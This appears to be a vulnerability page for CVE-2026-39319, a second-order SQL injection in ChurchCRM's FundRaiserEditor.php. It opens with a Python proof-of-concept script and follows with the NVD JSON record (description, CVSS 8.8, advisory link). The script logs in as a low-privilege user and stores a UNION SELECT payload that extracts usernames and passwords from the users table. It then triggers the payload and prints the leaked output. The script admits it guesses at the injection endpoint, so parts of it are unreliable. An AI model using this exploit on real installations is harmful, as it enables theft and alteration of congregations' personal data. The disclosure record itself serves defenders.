CVE-2026-39319

# Conceptual Proof of Concept for CVE-2026-39319 import requests target = "http://victim-churchcrm.com" login_url = f"{target}/session/begin" vuln_url = f"{target}/FundRaiserEditor.php" s = requests.Session() # Step 1: Authenticate with a low-privilege user payload_login = { "User": "attacker", "Password": "password123" } s.post(login_url, data=payload_login) # Step 2: Inject malicious payload into session variable 'iCurrentFundraiser' # The application stores this value in the session without sanitization # Assuming an endpoint like 'SelectFundraiser' sets this session variable sql_payload = "1' UNION SELECT NULL, username, password, NULL FROM users -- -" s.post(f"{target}/api/fundraisers/select", data={"id": sql_payload}) # Step 3: Trigger the Second-Order SQL Injection # Accessing the editor page triggers the query using the stored session value response = s.get(vuln_url) # Step 4: Verify exploitation if response.status_code == 200: print("Vulnerability triggered! Check response for data leakage.") print(response.text[:500])

{"cve": {"id": "CVE-2026-39319", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:42.950", "lastModified": "2026-04-10T20:57:19.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.1.0, a second order SQL injection vulnerability was found in the endpoint /FundRaiserEditor.php in ChurchCRM. A user has to be authenticated but doesn't need any privileges. These users can inject arbitrary SQL statements through the iCurrentFundraiser PHP session parameter and thus extract and modify information from the database. This vulnerability is fixed in 7.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.0", "matchCriteriaId": "BF846F61-0C1E-49AB-B691-A01937A6C24D"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-vg4m-hc29-jgqj", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}